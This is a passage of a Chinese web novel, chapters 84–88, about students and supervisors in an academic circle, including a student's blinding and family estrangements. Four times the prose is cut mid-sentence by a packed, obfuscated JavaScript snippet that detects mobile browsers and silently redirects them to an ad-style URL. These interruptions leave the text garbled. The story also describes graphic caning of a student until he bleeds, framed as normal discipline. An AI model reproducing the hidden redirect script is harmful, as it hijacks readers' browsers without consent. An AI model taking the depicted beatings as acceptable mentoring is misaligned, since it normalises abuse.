秦嘉辰抿着唇,走到病床边,扯了扯被子:“师兄,你看看我。” “辰辰,”秦昭阳唤道,“你别……” “师兄,”秦嘉辰固执地打断了父亲,继续道,“我好久没有见你了,你让我看看你。” 被子里传来浑浊的一声,谁也没听清是什么,只隐约觉得柏阅冬生气了。 “我没多少时间了,再过一段时间,我就要去法国了,”秦嘉辰不肯放弃,还在说,“我出国了,咱们就见不到了,你让我看一眼,我不管你是鼻青脸肿还是断了门牙说话漏风,你得让我看一眼,反正我也不会嫌弃你……” “滚!我说滚!”低沉的吼声,虽然是从被子里闷闷地传出来,却还是震住了病床边的父女俩。 秦昭阳怕他激动起来,忙抱住那一团被子,劝女儿道:“辰辰,你先回去,过段时间再来吧。” 秦嘉辰有些受挫,眼角红红的,委屈道:“既然师兄不想见我,那我……我过几天……” “别来了!”柏阅冬猛地推开师父,一下扯开了被子,凌乱如鸟窝的额发下是一只通红的眼睛和一块雪白的纱布,“别他妈来了!你见到了!滚!滚吧!” 秦嘉辰被吓住了,好一会儿才颤声问:“师兄,你、你的眼睛……受伤了吗?” “我瞎了!我瞎了你懂吗?我看不见了!我变成残疾人了!残疾人你懂不懂?我他妈配不上你了!” 秦嘉辰一抖,两行眼泪直直淌了下来,呆呆地看向父亲,问:“会、会好吗?” 秦昭阳沉默地低下了头。 “不会了!瞎了就是瞎了!你明不明白?我跟你没有以后了……” 秦嘉辰下意识地摇头否认,可柏阅冬却不肯停:“我他妈是为了读博和留校才跟你在一起的,你看不来吗?你以为我很喜欢你?你要不要看看你的蠢样子?谁会看得上你?现在我瞎了,我也用不着再想什么读博留校了,你也用不着愧疚这时候和我分手,是老子没空哄你了,你没价值了,明白吗?” 秦嘉辰泪如雨下,捂住嘴巴,转身跑了出去。 秦昭阳大喊一声辰辰,追了出去,可才到病房门口,就猛地止住了脚步。 他慢慢回头,只见柏阅冬的瞎眼不断渗出眼泪,一层层打湿了纱布。 84.第 84 章 纪慎今晚回来得很迟。本来六点多就准备去食堂吃晚饭回家的,突然接到秦昭阳的电话,让他去家里帮照看一下秦嘉辰。纪慎不好推辞,便到秦昭阳家里,看着那对抱在客厅泣不成声的母女安慰了好一阵,嘉辰妈妈话多得很,非拉着纪慎扯这扯那,深夜了才放人走。 纪慎回到家里,寂静无声,餐厅客厅都收拾得干干净净,那个戒尺盒还放在客厅的小桌上。 他无奈地摇摇头,拿起戒尺盒往客卧走,果然就见到了门下那一道亮光。 这次没有询问,纪慎敲敲门,就推开了。坐在床上发呆的庄遂平一见他,猛地缩了缩肩膀,没有说话。 大约是累了,纪慎没有问他怎么没睡,只是疲惫地走过去,将戒尺盒放在床头桌上,道:“早点睡吧。” 退出房间的时候,纪慎顺手帮他关了灯。 黑暗中,庄遂平看不见那个戒尺盒,只好摸索着缓缓躺下了。 但不知是不是睡前想着那柄戒尺的缘故,庄遂平不出意外又做了噩梦,而且反应很大,半梦半醒间两手一扫,床头桌上的东西“噼里啪啦”掉了一地,玻璃杯、台灯什么的,弄出好大的动静。 纪慎的妻子睡得浅,隔音又不好,很快就被弄醒了,推了推身旁的丈夫:“去看看他,不知道怎么了。” 纪慎迷迷糊糊醒来,虽然听不见声,但确实不放心,只得睁着沉重的眼皮起身。 “庄遂平,我进来了。”纪慎脑子还不清醒,糊糊涂涂地拍了两下门就进去了,按亮灯,慢慢往里头走,突然踢到一个什么东西,愣了一下。 庄遂平一身冷汗,蜷在床头,像是受了很大惊吓的样子。 还不等纪慎说话,妻子已经披着衣服走过来了,扭头吩咐道:“去拿扫帚来,收拾了。” 平日纪慎是不做这种事的,但今晚许是还不清醒,竟然就走出去找扫帚了。再回来时,只见妻子坐在床边,温柔地把庄遂平抱在怀里,很轻很轻地说话:“没事没事,不会有事的,在家里呢……” 那场景,让他以为床上的人是纪沅。 纪沅,他的独子。 这个房间,过去就是纪沅的房间。但因为父子关系过于糟糕,纪沅早早就离开了家,以至于这个房间作为客卧一直空了出来,直到庄遂平住进来。 纪慎回过神,笨拙地清扫着地上的碎片。他很少做家务,长手长脚的竟然不怎么会拿扫帚和垃圾铲,显得有些滑稽。 纪慎的妻子一阵阵地拍着庄遂平的后背,像妈妈一样哄着他再次入睡。纪慎眼见着那孩子昏昏沉沉地平躺在床上,竟觉得很神奇。 妻子拢拢衣服,走下床,接过纪慎手里的东西,出去了。 纪慎看了庄遂平两眼,也跟着走了。 “纪慎,”妻子倒了垃圾,放好扫帚,轻声道,“你把他逼疯了。” 纪慎困惑不解:“我逼他什么了?” 妻子笑了笑,声音依旧轻柔:“是,你没有拿刀架在他脖子上,没有拿枪口抵着他的太阳穴。可是你看看这个房子,有一点点家的样子吗?这个客厅,能坐人吗?也许哪天他愿意和你说说话了,都找不到地方坐下来。他往这里一站,都要窒息了。” “纪慎,你太爱自己了,你爱惜自己的文章,爱惜自己的名声,你只在乎书放的位置够不够方便,只在乎你写出来的东西能被多少人引用,可是你从来不关心其他人。” “你已经有沅沅作为前车之鉴了,现在还要重蹈覆辙吗?”妻子说到这,突然发现自己竟然还对他抱有一丝希望,又自嘲地笑了笑,“说真的,我都无法理解,你这个学生怎么能忍受你到这种地步。沅沅是你的儿子,忍了十几年也就算了,庄遂平是怎么忍下你的?” 纪慎恼怒地皱起眉头:“忍什么?我虐待他了?别的学生怎么没这样?要是出了问题就来怪老师,那老师可冤大了!” 妻子深深呼吸,缓缓道:“纪慎,你真的觉得,他和别的学生是一样的吗?” 纪慎愣了一下,差点就脱口而出一句当然,可又觉得有什么不对,便不说了。 妻子不再说话,迈步回房去了。 许是半夜惊悸的缘故,第二日庄遂平醒得很晚,而且整个人都晕晕乎乎的,收拾整齐出房时,纪慎夫妇已经在吃早餐了。庄遂平平时的位置上,放着一碗热粥。 纪慎看了他一眼,硬邦邦道:“过来吃饭。” 庄遂平本没有什么波动,可走到餐桌旁,对上他那位师母温柔的眼神,支支吾吾地说了一句:“对不起。” 女人笑笑,说:“没关系,坐下吧,粥还是热的,慢慢喝。” 庄遂平点点头,拉开椅子坐下,舀起粥,送进嘴里。 这个点,刘巍思已经到图书馆了。柏阅冬和庄遂平相继出事,严先生也受到了影响,刘巍思不得不开始一个人的学习之旅,毕竟再怎么样,他也还要毕业,还要读博,他自己的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093952|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生还得继续下去。 但是就在他埋头苦读的时候,他不知道命运的齿轮悄悄地转动了。 他只是照常找资料、写论文、在稿纸上涂涂改改,直到头昏脑胀,直到手腕上的圆表盘提醒他该回家了。 他仍然像过去每天一样,斜挎着一个帆布包,手里抱两本从图书馆借出来的书,疲惫地走向熟悉的宿舍楼。 他还是习惯性地掏出钥匙,捅进锁孔里,拧开,推门。 然后他就愣住了。 对着门的餐厅里,一个男人正把东西往冰箱里放,听见声响,便转头过来,笑了笑,道:“你是刘巍思吧?” 刘巍思更糊涂了,这里怎么会有一个他不认识的男人?而且这个男人认识他。 可是细看这个人,大约比大师兄小几岁吧,眉眼间让他很有熟悉感,只是他那样爽朗地一笑,又会让刘巍思觉得自己想多了。 “快进来呀,发什么呆?” 刘巍思呆呆地关了门,却没有换鞋,一眼扫过去,房子里还是熟悉的摆放——他应该没有走错地方。 但真正让他的心定下来的,还是书房里传出的熟悉声音:“怎么了?” 刘巍思差点要笑出来,正要说话,就听男人朗声回答道:“爸!是巍思回来了!” 刘巍思嘴角的笑意僵在了脸上。 他想,他听到了一个很陌生的称呼,那个称呼,他从没出过口,也从没听别人这样叫过老师。但是,这个称呼又很熟悉,因为他就是一直那样对待老师的。 然后,突然来了一个会在这个房里很大声地叫“爸”的人。 严先生缓缓从书房里出来,见到刘巍思,笑笑道:“巍思回来了,累了吧?这是严铮,你师兄。” 刘巍思再次看向那个男人,终于确定了那种熟悉感——他的眼睛,跟老师真的很像。 刘巍思抱紧了怀里的书,慢慢地弯腰,讷讷道:“师兄好。” 严铮笑着收好冰箱里的东西,道:“那我先走,明天我再来看爸。”说着走向客厅,收拾茶几上的大相册。 “你走就走,别收呀,我还没看够呢,留着我看。” “行,爸慢慢看,明早我来给爸蒸小笼包。” “好,你回去慢些。” 刘巍思知道,他现在该说师兄再见,师兄慢走,可是不知怎么的,双唇一点也张不开,直到严铮换鞋离开,他才抿了抿唇,余光瞥向茶几上的相册。 85.第 85 章 熟悉的房子里又剩下了最熟悉的两个人。严先生显然心情不错,笑着往沙发走:“怎么?傻了?” 刘巍思动动嘴,不知道该怎么回答,只好呆在原地。 严先生坐下,翻起留在茶几上的相册,像是说给刘巍思听,又像是自言自语:“严铮很早就被我送出去了,这么多年过去,我早做好了再也见不到他的打算,没想到他竟然找回来了。来,你看,这是你师母——” 刘巍思慌慌忙忙,手上想放书,腿却往老师那边走,无措得像第一次来。 严先生见他好一会都没来,不禁抬头,看着小孩一副手忙脚乱的样子,顿时笑出了声:“怎么回来这么久还没有放下东西?快把书放下,包挂起来。” 刘巍思这才反应过来,懊恼地放好东西,忍着心中的不安坐在老师身旁。 很大的一本相册,大大小小的相片保存在其中,虽然明显有了岁月的痕迹,但还是能透过黑白的颜色窥见过去的风采。 刘巍思看见老师年轻的模样,端端正正,微微歪着头,和一位鹅蛋脸的女子轻轻捧着碰着额头。两个人一同看向镜头,笑得含蓄而温婉。 那就是他的师母,他从未见过的师母。 严先生的眼神在上面停留了许久,好一会儿才缓缓道:“她已经不在了,那时候被赶出学校,辗转到你们那儿劳动,一张照片也没留下,还好严铮还留着。” 刘巍思鼻子酸酸的,他想,老师一定很想师母,这么多年,他从不提起,并不是忘了,而是愧疚。 但严先生很快控制住了情绪,手指一划,在另一张稍小一点的照片上点了点:“看,这是你师兄小时候,认不认得这里?” 刘巍思当然认得,学校的湖么,他和老师在那里散过步,也和同学在那里聊过天,有时候还自己坐那儿看书或发呆,他一直以为那是他的湖,他可以想去就去,想呆多久就呆多久,但是现在老师告诉他,有个人比他更早地在那湖边成长了。 那是别人的湖。 就好像这个房子,这个家,眼前这个人,他以为是他的,可其实都是别人的。 正胡思乱想着,严先生又翻过一页,指着一张大大的照片,道:“这是我儿媳妇和孙子,意大利人,严铮在外面呆得太久,真成了外国人了。”说着说着笑了起来。 可刘巍思一点也高兴不起来,对那些照片全无兴趣,敷衍了一会,便忍不住站起来,道:“老师,我今天找的资料还没有整理,我先……先去书房了。” 往常这时候严先生就会问他收集的资料和思路,可是今晚,严先生好像全然忘记了自己的身份,一门心思全在欣赏相册上,挥挥手道:“你去吧。” 刘巍思得了解脱,却并不轻松,抿抿唇,收拾东西走了。 第二日一早,刘巍思出房门时,外头已经“乒乓”作响,原来是严铮早早到了,蒸了几屉小笼包,严先生早就起了,坐在餐桌旁边吃边点评,笑呵呵的,见刘巍思出来,便招呼他一块吃。刘巍思勉强笑了笑,问过好,才抱歉道:“老师,我今天早上不想吃小笼包。” “那你想吃什么?” “我,我想吃食堂的烙饼,我,我去食堂吃。” 严铮一听,立马道:“下回你想吃什么,告诉我,我一块给你做。” “不,不麻烦师兄了,我去食堂吃就好,反正食堂什么都有,很方便。” 严先生点点头,习以为常:“那你去吧,路上小心些。” 刘巍思应了,补充道:“我今天还去图书馆,可能很晚才回来,老师不用等我,早点休息。” “你就安心学习吧,不用操心,”严铮笑道,“我今天陪着他。” 严先生似乎很享受儿子的照顾,舒服地眯起眼睛:“嗯,巍思,你忙你的,记得把论文第二章写了,后天咱们要开会的,到时候要看你的文章。” “好,我知道了。”刘巍思笑着道了别,一出门,脸上的笑意如晨雾般消散无踪。 另一栋宿舍楼里,纪慎在妻子半是警告半是劝说的建议下开始收拾起客厅的书了。这些书放了很多年,有一些书页发黄变脆,几乎成了古董。纪慎一早上过去,也没舍得拿出几本书来,密密实实的书架顶多空了几道缝。 纪慎想不明白,这地方怎么会让人窒息呢?这不是很好吗? 可是他往地上一蹲,就老想起纪沅。那些年他和纪沅吵得很凶,一开始也动手的,可是后来纪沅长大了,一反手就夺去他手里的戒尺或是棍子,再后来,纪沅更大了,干脆彻底离开了这个家。 纪沅回他爷爷那里一呆就是七八年,去年六月才毕业回来工作,可是在同一个城市里,父子俩也没有见过。 说是反目成仇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15102050|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,仇人还有联系呢,他们连仇人都算不上。 纪慎摇了摇头,他不该在这个时候想起纪沅,庄遂平比纪沅乖多了,至少挨打的时候从不会反抗,挨骂的时候也乖乖听了,要求他做什么,都会认真去做,就是笨了点……其实也不算很笨吧,独立发过文章了,也能找到想写的论文题目,校对的那些东西像模像样的…… 怎么的就这样了呢?本来还好好的…… 纪慎想不明白,还是把心思放回了收书上。 几乎花了一天才把家里的书整理出来,有些书可能是受人所赠,也可能是忘记家里有又买了一本,总之有那么一批重复的书,装了两纸箱。纪慎是不可能把这些书丢掉的,便打电话给郑旭,让他叫上师门里的其他人,去他办公室分书。 郑旭带着师门里的兄弟姐妹,浩浩荡荡就到老师办公室去了。纪慎的两纸箱书放在墙边,让他们自己看,喜欢哪本就拿哪本。众人道过谢,便蹲在地上开始慢慢翻书。 学生们围着纸箱,几乎都背对着他,相互之间小声说着悄悄话,就是没人跟他讲话。 纪慎脑子里浮现出妻子那句话。 “纪慎,你真的觉得,他和别的学生是一样的吗?” 他以前没想过这个问题,可是一想,答案就出来了。 庄遂平并不比郑旭机灵圆滑,也没有盛超聪明敏锐,但是在他还没有变成现在这个样子之前,他从未背对过他的老师。 他从不在老师面前转过身去,只会在对上老师的视线时心虚或失望地避开。 他从不当着老师的面和别人有说有笑,只会小心翼翼地斟酌着他要说的话,希望老师不要生气。 这样的学生,真的很难不让人生气。 “老师,庄师兄怎么没有来?”盛超挑了几本书,抱在怀里问。 纪慎疲惫地捏捏鼻梁,道:“别管他了。” “老师,”郑旭插嘴道,“不能不管,万一毕不了业怎么办?前途可就没有了!” 其他人不由得笑起来,气氛轻松了不少。 纪慎苦涩地笑笑,确实,他们读研,是和前途联系在一起的,但是庄遂平是怎么说的来着? 他说,这是一场孤注一掷的自我放逐。 他是放弃了一切来到这里的,但是…… 纪慎想,但是,我辜负了他。 86.第 86 章 纪慎闷闷不乐地从办公室回了家,进屋时看见庄遂平从厨房出来,紧接着妻子的声音从厨房传出:“不用帮忙了,就快好了。” “哦。”庄遂平应了一声,抬头时看见纪慎,便没有声了。 纪慎更憋闷了些,指指客厅的小沙发:“坐吧,跟你聊聊。” 客厅的书清了两三个纸箱,但也只是漏了些空隙出来,一眼望去还是满满当当的。庄遂平很不愿意,却不能拒绝,见纪慎已坐了,才磨蹭着往客厅走,终于站定在纪慎几步远的地方。 纪慎有些气他听不懂人话,可想想也是,庄遂平在他跟前,很少坐着。 “坐吧。” 庄遂平抿抿唇,偷偷瞄了纪慎两眼,确定他不是在逗自己玩,才战战兢兢地坐下。 纪慎从没干过这种事,生疏地交叉两手,道:“说说你吧。” 但庄遂平只是看着他,没有说话。 纪慎不由得叹了声气,想起从前的柏阅冬和刘巍思来,换了那两个孩子的性子,定是不会出这种问题的。摊上庄遂平,也是他命中的劫数。 “退学的事,要慎重考虑。”习惯了发号施令,就算心里想着好好谈,一开口也还是僵硬的语气。 一句话出去,沉默地掉在地上,厨房里传来“滋啦滋啦”的炒菜声,像是某种提醒。 纪慎深深呼吸,又道:“你自己说,是放弃了一切来读这个研究生的,不管怎么样,至少要毕业。毕业以后,你的人生会不一样的。郑旭已经确定被安排到他家附近的一个学校当老师。虽然比不得我们学校,但到底是正经高校,大学老师的身份、资源都会上一个台阶,你要明白。” 庄遂平想,他早就明白,否则,他也不会千辛万苦来这里学习,但是,这些话,仅仅是从他的发展出发的吗?这其中,有没有一些不那么理性的东西呢? 思考间,菜已经端上了桌。纪慎的妻子平静地摘下围裙,道:“吃饭了。” 纪慎这一整天,已然筋疲力尽,没有得到庄遂平的回答,也不想再等,起身道:“你再想想吧。” “过来吃饭吧。”温柔的女声响起,庄遂平不得不朝餐厅走去。 庄遂平刚坐下,女主人便对纪慎道:“去拿几个勺子吧,我忘记了。” 纪慎连发脾气的力气都没有了,疲惫地撑起身子,往厨房去了,又顺从又无奈。 妻子看着他的身影进了厨房,才给庄遂平舀了一碗汤,轻声道:“他能坐下来和你谈,已经,很好了,他是很在意你的。” 庄遂平抬起头,很是疑惑,很难相信她说的在意。 但是这位母亲没有再说下去,这些话,每说一句,都会让她想起她多年不愿归家的儿子。 纪慎拉着脸回来,默默地分了勺子,开饭。 两日后下午,严先生在家里叫了学生们来开会,但是姜新宇并没有来,没有人联系得上他。 姜新宇在这个下午去了医院。 他到柏阅冬的病房门外时,医生正在里面做检查,秦昭阳守在一旁。姜新宇靠在门边,能听见他们细碎的谈话声,说的是“快好了”“准备出院”“注意保护”之类的话,他心中生出一个不切实际的想法:也许柏阅冬的眼睛会好。 听了一会,几个医生护士就陆续走出来,秦昭阳看着最后一个护士离开的背影,却捕捉到了一个不该出现在这里的身影。 姜新宇知道被看见了,也不躲,慢慢走进来,道:“我想来看看柏师兄。” 秦昭阳的脸色变得非常奇怪,愤怒中有克制,克制中带着恨,恨这个世界的不公,也恨他自己的无能为力。 柏阅冬慢慢转过头,看见姜新宇那一瞬间,所有表情都僵在脸上,许久,才从齿缝间蹦出一个“滚”。 秦昭阳怕他情绪失控,忙将姜新宇往外推:“你回来吧,别来,他不需要你看。” “秦老师,秦老师,求您,您让我跟他道个歉,我、我不是故意的……”推搡间,姜新宇的哭腔出来了,“我只是不知道他伤到了眼睛,那天很晚了,我以为他只是撞到头,我不知道,我真的不知道!” 他哭得瘫在地上,反倒把秦昭阳搞得手足无措。 柏阅冬冷眼看着,然后侧身躺下,背对门口。 但是他眼睛瞎了,耳朵却没有聋,姜新宇的声音还是清晰地传了过来。 “文章已经撤了,等柏师兄好了,他还是可以继续用他的名字发。我……” “别哭,”秦昭阳忽然意识到这是难得的机会,“你知道你错了,那你怎么不去自首?” 姜新宇苦笑了一声,干脆坐在地上,说:“您以为我不想去吗?我这么多天都宁可被抓进去,可是我不能!我出了事,我爸我妈,我爷爷我奶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15120375|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶,我们全家人的名声都毁了!还有我老师,他现在都不能招生了,我要是真被抓了,他还不知道要承担什么责任呢!” “所以你们家的名声比柏阅冬的眼睛重要?” 姜新宇笑出了声:“秦老师,您难道不懂吗?做学术的人,名声比什么都重要,否则大家怎么会拼命写文章写书?怎么会想尽办法往自己身上加头衔?我没有及时送柏师兄去医院,是我的错,但是我能做的只有把文章还给他,其他更多的,我做不到,别人也不会允许我做。” 秦昭阳绝望地闭上了眼:“那你今天来这一趟,有什么意思?” “我来,是真心想看看他,”姜新宇从地上站起来,“如果有什么需要帮忙的,我可以做,但是要我自首,要我承认我弄伤了他的眼睛,我确实做不到。” “你回去吧,不要再来了。”秦昭阳疲倦不已,懒懒地回了身,再不管他。 姜新宇站在那里,看着秦昭阳俯身下去,小声地跟柏阅冬说着什么,觉得有些无趣,便真走了。 至于在严先生家里开会的那群人,兴致也并不高。一开学就出了柏阅冬的事,后来严先生又被停了招生资格,整个师门的气压都很低。 今天严铮没有来,严先生也没有特地说,只是挨个说了论文,轮到刘巍思时,刘巍思却拿不出东西来。 “我前两天还提醒了你的,怎么没写呢?” 刘巍思的情绪显得格外低落,肩膀往下塌,有些佝偻:“我不想写。” “你不想写,那你想做什么?” 师姐怕老师生气,忙道:“老师,巍思可能是受同学影响了,心情不好,要不下回再说他的论文吧。” 但是严先生只是盯着他:“是吗?巍思。” 刘巍思耷拉着眼皮,没有说话。 “怎么?都到了可以不回老师话的时候了?”易堂生一掌拍在桌子上,“啪”一声,吓了大家一跳。 刘巍思抬起头,看了大师兄一眼,又垂下了眼眸。 气氛已经不对了,严先生道:“今天大家先散了吧。” 学生们相继站起来,边收拾东西边和老师道别,严先生叮嘱他们回去慢些。很日常的场景,但有两个人一直没动。 刘巍思盯着桌子,易堂生盯着他。 待其他人都出门了,易堂生才道:“去拿教鞭。” 87.第 87 章 刘巍思进书房拿教鞭,又走出来,几步路的工夫,严铮就来了。严铮两手提着满满的菜,见到易堂生,眼睛都亮了:“哎……你是,你是堂生!” 易堂生还愣着,严先生却哈哈笑了起来,丝毫没有恼怒:“堂什么生,堂生比你大几岁呢,叫师兄。” 易堂生这才想起来眼前人是谁,就见他眼珠子一转,好像在说我爸这个老古董,让人见了就忍不住亲近。 “这是严铮?” “师兄还记得我。” 易堂生这可激动了,上前捏了捏他的肩膀,万分感慨:“当时你才十几岁,后来走了就没回来了,我都差点忘记有这么个人了,没想到啊没想到。” 大约是累了,严铮把提来的东西放桌上:“本来也以为不会回来了,但是我妈去世以后,我在国外成了家也空落落的,就想着找我爸,但是前些年根本找不到人,这两年我翻译了一些书,也认识了一些人,就联系上学校了,一开始学校怎么都不肯告诉我家里的电话号码,说是我爸的隐私,后来又托人一个个问,才终于问到。我这几个月正好有个出版社的项目,就顺便回来了,公费旅游哈哈哈哈……” 易堂生不住点头,既肯定他的孝心,也感叹这些年的分离。 刘巍思站在后面几步,默默握紧了竹鞭,想:原来人家是真的父子情深的。 严铮拆了刚买来的点心匣子,正想招呼他们吃,却一眼看到了刘巍思手里的东西,指着道:“爸,那个鞭子寿命挺长啊!” 严先生看了一眼,道:“那不是家里的,家里那根早坏了,这是我以前放学校的,后来我下放去巍思他们那里,是堂生帮我收着的。” 严铮夸张地打了个寒战,提菜进厨房去了:“我可还记得,这鞭子打人可疼了……” 后面他们说了什么刘巍思听不清了,只糊糊涂涂地想,原来老师还有别的教鞭,那是他没见过的。 易堂生扭头看见师弟落寞的模样,以为他是怕挨打,又不想在这里教训他,免得打扰人家父子叙旧,便扬了扬下巴:“去你房里。” 刘巍思自然是没什么可说的,只是转身前偷偷瞄了一眼老师,只见老师正笑着吃严铮带来的点心,还扭头冲厨房说着什么。 其实也不必伤心的,那是亲父子啊!是真正的亲父子。 天气已在不知不觉间热了起来,房门一关,立刻让人感到了憋闷。刘巍思胸口堵得慌,一口气上不来也下不去,没有着落。 他转身把手里的竹鞭递给大师兄,便乖觉地褪了裤子,跪在床边,小腹紧贴在床沿,上半身完全趴在床上。 刚好能把屁股顶起来。 这还是这个学期头一回挨打,没有温声细语的询问和开导,也没有痛彻心扉的失望和责怪,只有竹鞭搭在臀尖时略微冰凉的触感。 “啪!”竹鞭响亮地抽下来,刘巍思猛地一缩,只觉屁股上火辣辣地疼,像是尖刀割破了皮肤。 “啪!”不等刘巍思反应,竹鞭又紧接着咬了上来,将白皙的屁股打出两道血红颜色。 刘巍思疼得抓紧了床单,但姿势却没有变,仍旧献祭着臀部,仿佛要以此换取某种心灵的平静。 易堂生可不像严先生,会问一句为什么,怎么了,他信奉的是为自己的行为付出代价,既然不写论文,不尊敬老师,那就该受教训,没有为什么。故而,手持教鞭的他没有丝毫心软,只是一下下抽落竹鞭,把师弟整个屁股都打成了血色。 这么十来下过去,整个屁股又刺又麻,好想伸手去摸一摸,可是刘巍思只是紧紧攥住了床单。 “啪!”接下来,竹鞭都只能打在伤痕上,没有放水的力度,迅猛地抽打,撕开了脆弱的皮肤,带出几道细细的血丝。 刘巍思眼角泛泪,明显疼得受不了了,可是他仍然一动不动,看上去很乖的样子。 易堂生过去听惯了他求饶,见多了他又踢腿又扭腰的躲避,这回倒觉得不习惯了,那两团肉始终乖乖地撅在床沿,就好像已经放弃了所有的想法,愿意接受现实一样。 可是,他知道他的师弟不是这样的人。 易堂生心中颇为忐忑,却没有停下,反而高高扬起竹鞭,“啪啪啪”,一连打了狠狠三下,疼得刘巍思“啊”地叫唤起来。 “知道疼了?” 刘巍思吸吸鼻子:“知道。” 哭腔一点都忍不住。 “打错你没有?” 眼睛一眨,眼泪就掉出来了,刘巍思抬手擦掉:“没有,师兄打就是。” 听到如此顺从的回答,易堂生却更加恼怒,当真扬起鞭子,“咻啪咻啪”地抽了下去。刘巍思心中不安,又受了如此剧痛,根本熬不住,“哇”一声嚎啕大哭起来。 易堂生可不会心疼他,按着他的腰,竹鞭对准屁股,“噼里啪啦”地打了好一阵,打得整个屁股都破皮了,血丝和血珠相继往外冒,才终于停了手。 刘巍思趴在床上,疼得神智不清,连大师兄什么时候出去的也不知道。 这一晚,易堂生是留在严先生家里吃的饭。刘巍思歇了好久,才收拾整齐从房里出来,一瘸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122680|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一拐地走向餐厅。 严先生瞧他眼眶红红的,问:“大师兄又打重了?” 刘巍思微微低下头:“没有。” 严铮给刘巍思拿了碗筷,笑道:“爸最会这招,先把人打了,再好声好气地哄几句。我小时候就是,又挨了打,又生不起气来,后来想想真是亏大了。” 严先生哈哈笑起来:“那你说,我哪一回打错你了?” “爸没错,爸都是对的。” “哈哈哈,你还是,跟小时候一样。” 刘巍思听着他们的欢声笑语,拉开眼前的木椅子,自虐一般坐了下去,一颗圆滚的汗珠从鬓角缓缓淌下来。 几日后,秦昭阳给柏阅冬办了出院手续,把他带回了自己家里。秦嘉辰本就是这段时间要出国,提前几天收拾好了东西,将她的房间腾出来给柏阅冬住。 柏阅冬这个样子,没有人会放心让他回宿舍。 柏阅冬离开病房时戴着一副黑色墨镜,头始终压得低低的,进到学校之后,明显焦躁了起来,秦昭阳搂着他,带着他走人少的小路躲躲藏藏地回了家。 柏阅冬的师母一直在家里等着,看到孩子,忍不住哭了起来:“好端端的一个孩子,怎么就这样了啊?这以后可怎么办啊?” 秦昭阳这段时间听哭声都听麻了,不耐烦地喝道:“别哭了!” “我也不想哭啊,可是,可是多好的一个孩子啊!本来他和辰辰……” “别说了!”秦昭阳整日提心吊胆,最怕柏阅冬情绪失控,根本不敢提他和秦嘉辰的事,好不容易带他回了家,可不想出什么事。 但柏阅冬自那日见了秦嘉辰之后,就很少歇斯底里地哭喊了,他只会躺在床上默默地流眼泪,或是呆呆地望向某个地方,一动不动,就连反应都慢了。 此时也是,他好像没反应过来师母说了什么,像木头似的,被师父推进了房间里。 “这是辰辰的房间,但是床单被套都换了,家里小,你将就住着,往后的事情,往后再说。”秦昭阳揉揉他的脑袋,顺势提提墨镜腿,“回来了,墨镜摘了好不好?” 柏阅冬没有动,秦昭阳便缓缓摘下了他的黑墨镜,拂到额前头发时,说:“头发长了,剪一点好不好?” 柏阅冬抬起头,往右边转了转,以便他的左眼能够看见师父的脸,随后缓缓摇摇头。 “不出去,让你师母来剪,随便剪短一点就好。” 柏阅冬没有反应了。 秦昭阳知道这是同意,笑了笑,道:“我叫你师母进来。” 88.第 88 章 柏阅冬的师母在城区工会工作,每天干的事不是准备给单身适龄男女开联欢会就是召集人去社区里免费理发按摩,经常见人家剪头剃头,偶尔也在家里给女儿剪剪发尾,这会算是派上真用场了。 她进屋前,秦昭阳反反复复地叮嘱,千万别提他的眼睛,千万别提辰辰,千万别哭。她撇撇嘴,边拿毛巾边道:“知道了知道了,我又不是没脑子!” 夫妻俩笑着走进房间,轻轻叫了一声阅冬。柏阅冬迟滞地看过来,脸上没有表情。 他原本的头发就柔顺地盖在前额,长了这么一段时间,已经严严实实地盖住了双眼。师母抖了抖干净的毛巾,环在他的脖子上,说:“来,师母给你剪一剪,还跟以前一样帅!不,比以前还要帅!” 剪头发需要对镜子。秦嘉辰房间里的挂镜在窗边,师母推着柏阅冬的椅子往那头转,可柏阅冬却像是察觉到了什么,猛地扭开了头:“不要!” 秦昭阳立刻紧张起来,拉着妻子:“好,不要,就这样剪。”随后冲妻子使了个眼色,让她别勉强。 